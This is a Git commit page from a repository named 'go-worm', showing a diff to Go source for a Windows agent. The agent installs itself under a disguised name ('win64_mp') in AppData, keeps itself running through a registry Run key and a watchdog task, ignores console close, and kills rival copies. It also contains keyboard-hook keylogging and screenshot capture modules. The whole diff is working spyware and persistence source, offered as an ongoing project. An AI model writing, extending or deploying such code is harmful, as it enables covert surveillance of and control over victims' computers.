kato/go-worm
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

fix(core): take over agent, reuse callbacks

Browse Source 
- Kill running agents before replace
- Retry copy with backoff while locked
- Reuse syscall callbacks at package scope
- Add callback regression test
This commit is contained in:
kato
2026-09-02 00:00:24 +03:00
parent ac31e52a8c
commit 536ea9a53e
10 changed files with 281 additions and 29 deletions
Download Patch File Download Diff File Expand all files Collapse all files
lib/helpers/callback_once_test.go
+76
View File
@@ -0,0 +1,76 @@
package helpers
import (
"go/ast"
"go/parser"
"go/token"
"io/fs"
"path/filepath"
"strings"
"testing"
)
// Go never frees syscall.NewCallback (hard cap ~2000). Creating one per
// screenshot frame is a fatal "too many callback functions".
func TestNewCallbackOnlyAtPackageScope(t *testing.T) {
root := filepath.Join("..", "..")
fset := token.NewFileSet()
err := filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error {
if err != nil {
return err
}
if d.IsDir() {
name := d.Name()
if name == ".git" || name == "vendor" || name == "testdata" {
return filepath.SkipDir
}
return nil
}
if !strings.HasSuffix(path, ".go") {
return nil
}
file, err := parser.ParseFile(fset, path, nil, 0)
if err != nil {
t.Errorf("parse %s: %v", path, err)
return nil
}
for _, decl := range file.Decls {
fn, ok := decl.(*ast.FuncDecl)
if !ok {
continue
}
ast.Inspect(fn, func(n ast.Node) bool {
if !isNewCallbackCall(n) {
return true
}
name := fn.Name.Name
if fn.Recv != nil {
name = "method " + name
}
t.Errorf("%s: syscall.NewCallback inside %s; Go never frees these (cap ~2000)", fset.Position(n.Pos()), name)
return true
})
}
return nil
})
if err != nil {
t.Fatal(err)
}
}
func isNewCallbackCall(n ast.Node) bool {
call, ok := n.(*ast.CallExpr)
if !ok {
return false
}
sel, ok := call.Fun.(*ast.SelectorExpr)
if !ok {
return false
}
switch sel.Sel.Name {
case "NewCallback", "NewCallbackCDecl":
return true
default:
return false
}
}
lib/install/install.go
+42 -5
View File
@@ -6,12 +6,21 @@ import (
"os"
"path/filepath"
"strings"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/instance"
"tea.chunkbyte.com/kato/go-worm/lib/startup"
)
const replaceWait = 8 * time.Second
// Ensure copies the running exe into %APPDATA%\win64_mp\ when needed,
// refreshes an existing startup entry to that path, and re-launches from there.
// If an older agent is already installed or listening, it is torn down first.
// Old builds have no version field to compare, so any launch from outside
// the install path takes over.
func Ensure() error {
target, err := config.InstalledExe()
if err != nil {
@@ -34,19 +43,47 @@ func Ensure() error {
return nil
}
if err := copyExe(current, target); err != nil {
if _, statErr := os.Stat(target); statErr != nil {
hadStartup := startup.Enabled()
takeover(target)
if err := replaceExe(current, target); err != nil {
return fmt.Errorf("copy to %s: %w", target, err)
}
if hadStartup {
if err := startup.Enable(); err != nil {
helpers.Log.Printf("takeover: restore startup: %v", err)
}
if err := syncStartup(); err != nil {
return fmt.Errorf("update startup path: %w", err)
}
return relaunchInstalled(target)
}
func takeover(installed string) {
helpers.Log.Printf("takeover: replacing %s", installed)
if err := startup.Disable(); err != nil {
helpers.Log.Printf("takeover: disable old startup: %v", err)
}
if err := instance.KillOtherAgents(); err != nil {
helpers.Log.Printf("takeover: kill: %v", err)
}
}
func replaceExe(from, to string) error {
deadline := time.Now().Add(replaceWait)
var last error
for {
_ = instance.KillOtherAgents()
_ = os.Remove(to)
last = copyExe(from, to)
if last == nil {
return nil
}
if time.Now().After(deadline) {
return last
}
time.Sleep(100 * time.Millisecond)
}
}
func copyExe(from, to string) error {
if err := os.MkdirAll(filepath.Dir(to), 0o700); err != nil {
return err
lib/instance/console_windows.go
+1 -7
View File
@@ -17,7 +17,7 @@ var (
procGetFileType = kernel32.NewProc("GetFileType")
user32 = syscall.NewLazyDLL("user32.dll")
procShowWindow = user32.NewProc("ShowWindow")
consoleCtrlCallback uintptr
consoleCtrlCallback = syscall.NewCallback(consoleCtrlHandler)
)
const (
@@ -58,17 +58,11 @@ func ShowConsole() {
// ProtectFromConsoleClose ignores Ctrl+C/Break/close so Task Scheduler and
// explorer do not kill the process when the flashed console goes away.
func ProtectFromConsoleClose() {
if consoleCtrlCallback == 0 {
consoleCtrlCallback = syscall.NewCallback(consoleCtrlHandler)
}
_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 1)
}
// AllowConsoleKill restores default Ctrl+C handling for -foreground.
func AllowConsoleKill() {
if consoleCtrlCallback == 0 {
return
}
_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 0)
}
lib/instance/kill.go
+32
View File
@@ -0,0 +1,32 @@
package instance
import (
"path/filepath"
"strings"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
func shouldKill(selfPID, pid uint32, selfPath, imagePath, installed, exeName string) bool {
if pid == 0 || pid == selfPID {
return false
}
if imagePath != "" && sameFilePath(imagePath, selfPath) {
return false
}
if installed != "" && imagePath != "" && sameFilePath(imagePath, installed) {
return true
}
base := exeName
if base == "" && imagePath != "" {
base = filepath.Base(imagePath)
}
return strings.EqualFold(base, config.InstalledExeName)
}
func sameFilePath(a, b string) bool {
if a == "" || b == "" {
return false
}
return strings.EqualFold(filepath.Clean(a), filepath.Clean(b))
}
lib/instance/kill_stub.go
+5
View File
@@ -0,0 +1,5 @@
//go:build !windows
package instance
func KillOtherAgents() error { return nil }
lib/instance/kill_test.go
+31
View File
@@ -0,0 +1,31 @@
package instance
import "testing"
func TestShouldKill(t *testing.T) {
t.Parallel()
const (
self uint32 = 10
selfPath = `C:\Users\me\Downloads\win64_mp.exe`
installed = `C:\Users\me\AppData\Roaming\win64_mp\win64_mp.exe`
)
cases := []struct {
pid uint32
image string
exeName string
want bool
}{
{self, selfPath, "win64_mp.exe", false},
{11, installed, "win64_mp.exe", true},
{11, `C:\Temp\win64_mp.exe`, "win64_mp.exe", true},
{11, "", "win64_mp.exe", true},
{11, `C:\Windows\System32\notepad.exe`, "notepad.exe", false},
{0, installed, "win64_mp.exe", false},
}
for _, tc := range cases {
got := shouldKill(self, tc.pid, selfPath, tc.image, installed, tc.exeName)
if got != tc.want {
t.Fatalf("shouldKill pid=%d image=%q name=%q = %v, want %v", tc.pid, tc.image, tc.exeName, got, tc.want)
}
}
}
lib/instance/kill_windows.go
+73
View File
@@ -0,0 +1,73 @@
//go:build windows
package instance
import (
"os"
"path/filepath"
"unsafe"
"golang.org/x/sys/windows"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
// KillOtherAgents terminates other win64_mp processes so this build can
// replace the AppData install and bind 5032. Skips this PID.
func KillOtherAgents() error {
self := uint32(os.Getpid())
selfPath, err := os.Executable()
if err == nil {
selfPath, _ = filepath.Abs(selfPath)
}
installed, err := config.InstalledExe()
if err == nil {
installed, _ = filepath.Abs(installed)
}
snap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
if err != nil {
return err
}
defer windows.CloseHandle(snap)
var pe windows.ProcessEntry32
pe.Size = uint32(unsafe.Sizeof(pe))
if err := windows.Process32First(snap, &pe); err != nil {
return err
}
for {
exeName := windows.UTF16ToString(pe.ExeFile[:])
image := processImage(pe.ProcessID)
if shouldKill(self, pe.ProcessID, selfPath, image, installed, exeName) {
_ = terminatePID(pe.ProcessID)
}
if err := windows.Process32Next(snap, &pe); err != nil {
break
}
}
return nil
}
func processImage(pid uint32) string {
h, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, pid)
if err != nil {
return ""
}
defer windows.CloseHandle(h)
var buf [1024]uint16
n := uint32(len(buf))
if err := windows.QueryFullProcessImageName(h, 0, &buf[0], &n); err != nil {
return ""
}
return windows.UTF16ToString(buf[:n])
}
func terminatePID(pid uint32) error {
h, err := windows.OpenProcess(windows.PROCESS_TERMINATE, false, pid)
if err != nil {
return err
}
defer windows.CloseHandle(h)
return windows.TerminateProcess(h, 1)
}
lib/keylog/hook_windows.go
+3 -2
View File
@@ -76,6 +76,8 @@ var (
hookMods modifierState
lastHWND uintptr
lastTitle string
// ponytail: NewCallback is never freed; reuse across Start/Stop.
hookCB = syscall.NewCallback(keyboardHookProc)
)
func startPlatform(_ *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
@@ -120,8 +122,7 @@ func runHookThread(ready chan struct{}) error {
hookThreadID = windowsGetCurrentThreadId()
close(ready)
hookProc := syscall.NewCallback(keyboardHookProc)
handle, _, err := procSetWindowsHookExW.Call(whKeyboardLL, hookProc, 0, 0)
handle, _, err := procSetWindowsHookExW.Call(whKeyboardLL, hookCB, 0, 0)
if handle == 0 {
return err
}
lib/screenshot/screenshot.go
+2
View File
@@ -161,6 +161,8 @@ func attachInputDesktop() error {
var (
enumMu sync.Mutex
enumBuf []rect
// ponytail: syscall.NewCallback is process-global and never freed (~2000 max).
// A closure here every frame is a fatal "too many callback functions".
enumCB = syscall.NewCallback(enumMonitor)
)
lib/startup/startup.go
+12 -11
View File
@@ -45,23 +45,24 @@ func SyncInstalledPath() error {
}
func Disable() error {
var regErr error
k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE)
if err != nil {
if errors.Is(err, registry.ErrNotExist) {
return nil
if !errors.Is(err, registry.ErrNotExist) {
regErr = err
}
return err
}
defer k.Close()
} else {
err = k.DeleteValue(config.StartupValueName)
if errors.Is(err, registry.ErrNotExist) {
_ = disableWatchdog()
return nil
_ = k.Close()
if err != nil && !errors.Is(err, registry.ErrNotExist) {
regErr = err
}
if err != nil {
return err
}
return disableWatchdog()
taskErr := disableWatchdog()
if regErr != nil {
return regErr
}
return taskErr
}
func installedCommandLine() (string, error) {